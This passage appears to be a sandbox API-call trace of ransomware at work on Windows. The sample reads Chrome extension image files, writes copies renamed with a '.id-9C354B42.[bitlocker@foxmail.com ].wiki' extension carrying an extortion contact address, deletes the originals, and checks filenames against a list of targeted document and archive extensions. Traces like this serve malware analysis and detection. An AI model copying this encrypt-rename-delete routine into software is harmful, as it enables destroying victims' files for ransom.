(lpString1=".png", lpString2=".wiki") returned -1 [0178.038] lstrlenW (lpString="icon_16.png") returned 11 [0178.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.039] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=556) returned 1 [0178.039] CloseHandle (hObject=0x1b4) returned 1 [0178.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png")) returned 0x2020 [0178.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.039] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.039] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.040] GetLastError () returned 0x0 [0178.040] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x22c, lpOverlapped=0x0) returned 1 [0178.041] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x230, lpOverlapped=0x0) returned 1 [0178.042] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.042] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0178.042] SetEndOfFile (hFile=0x160) returned 1 [0178.042] CloseHandle (hObject=0x160) returned 1 [0178.042] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.042] SetEndOfFile (hFile=0x1b4) returned 1 [0178.045] CloseHandle (hObject=0x1b4) returned 1 [0178.045] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.045] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png")) returned 1 [0178.045] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.045] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.045] lstrlenW (lpString=".doc") returned 4 [0178.045] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.045] lstrlenW (lpString=".docx") returned 5 [0178.045] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0178.045] lstrlenW (lpString=".pdf") returned 4 [0178.045] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.045] lstrlenW (lpString=".xls") returned 4 [0178.045] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.045] lstrlenW (lpString=".xlsx") returned 5 [0178.046] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0178.046] lstrlenW (lpString=".ppt") returned 4 [0178.046] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.046] lstrlenW (lpString=".zip") returned 4 [0178.046] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.046] lstrlenW (lpString=".rar") returned 4 [0178.046] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.046] lstrlenW (lpString=".bz2") returned 4 [0178.046] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.046] lstrlenW (lpString=".7z") returned 3 [0178.046] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.046] lstrlenW (lpString=".dbf") returned 4 [0178.046] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.046] lstrlenW (lpString=".1cd") returned 4 [0178.046] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.046] lstrlenW (lpString=".jpg") returned 4 [0178.046] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.046] lstrlenW (lpString=".doc") returned 4 [0178.046] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.046] lstrlenW (lpString=".docx") returned 5 [0178.046] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0178.047] lstrlenW (lpString=".pdf") returned 4 [0178.047] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.047] lstrlenW (lpString=".xls") returned 4 [0178.047] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.047] lstrlenW (lpString=".xlsx") returned 5 [0178.047] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0178.047] lstrlenW (lpString=".ppt") returned 4 [0178.047] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.047] lstrlenW (lpString=".zip") returned 4 [0178.047] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.047] lstrlenW (lpString=".rar") returned 4 [0178.047] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.047] lstrlenW (lpString=".bz2") returned 4 [0178.047] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.047] lstrlenW (lpString=".7z") returned 3 [0178.047] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.047] lstrlenW (lpString=".dbf") returned 4 [0178.047] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.047] lstrlenW (lpString=".1cd") returned 4 [0178.047] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 148 [0178.047] lstrlenW (lpString=".jpg") returned 4 [0178.047] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.048] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0178.048] lstrlenW (lpString="topbar_floating_button.png") returned 26 [0178.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.048] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=160) returned 1 [0178.048] CloseHandle (hObject=0x1b4) returned 1 [0178.048] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png")) returned 0x2020 [0178.048] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.048] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.048] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.049] GetLastError () returned 0x0 [0178.049] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xa0, lpOverlapped=0x0) returned 1 [0178.050] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xb0, lpOverlapped=0x0) returned 1 [0178.051] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.051] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x108, lpOverlapped=0x0) returned 1 [0178.051] SetEndOfFile (hFile=0x160) returned 1 [0178.051] CloseHandle (hObject=0x160) returned 1 [0178.051] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.051] SetEndOfFile (hFile=0x1b4) returned 1 [0178.052] CloseHandle (hObject=0x1b4) returned 1 [0178.052] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.052] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png")) returned 1 [0178.053] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.053] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.053] lstrlenW (lpString=".doc") returned 4 [0178.053] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.053] lstrlenW (lpString=".docx") returned 5 [0178.053] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0178.053] lstrlenW (lpString=".pdf") returned 4 [0178.053] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.053] lstrlenW (lpString=".xls") returned 4 [0178.053] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.053] lstrlenW (lpString=".xlsx") returned 5 [0178.053] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0178.053] lstrlenW (lpString=".ppt") returned 4 [0178.053] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.053] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.053] lstrlenW (lpString=".zip") returned 4 [0178.053] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.053] lstrlenW (lpString=".rar") returned 4 [0178.053] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.053] lstrlenW (lpString=".bz2") returned 4 [0178.053] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.053] lstrlenW (lpString=".7z") returned 3 [0178.053] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.053] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.053] lstrlenW (lpString=".dbf") returned 4 [0178.053] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.054] lstrlenW (lpString=".1cd") returned 4 [0178.054] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.054] lstrlenW (lpString=".jpg") returned 4 [0178.054] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.054] lstrlenW (lpString=".doc") returned 4 [0178.054] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.054] lstrlenW (lpString=".docx") returned 5 [0178.054] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0178.054] lstrlenW (lpString=".pdf") returned 4 [0178.054] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.054] lstrlenW (lpString=".xls") returned 4 [0178.054] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.054] lstrlenW (lpString=".xlsx") returned 5 [0178.054] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0178.054] lstrlenW (lpString=".ppt") returned 4 [0178.054] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.054] lstrlenW (lpString=".zip") returned 4 [0178.054] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.054] lstrlenW (lpString=".rar") returned 4 [0178.054] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.054] lstrlenW (lpString=".bz2") returned 4 [0178.054] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.054] lstrlenW (lpString=".7z") returned 3 [0178.055] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.055] lstrlenW (lpString=".dbf") returned 4 [0178.055] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.055] lstrlenW (lpString=".1cd") returned 4 [0178.055] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 163 [0178.055] lstrlenW (lpString=".jpg") returned 4 [0178.055] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.055] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0178.055] lstrlenW (lpString="topbar_floating_button_close.png") returned 32 [0178.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.235] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=252) returned 1 [0178.235] CloseHandle (hObject=0x1b4) returned 1 [0178.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png")) returned 0x2020 [0178.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.235] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.235] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.566] GetLastError () returned 0x0 [0178.566] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, 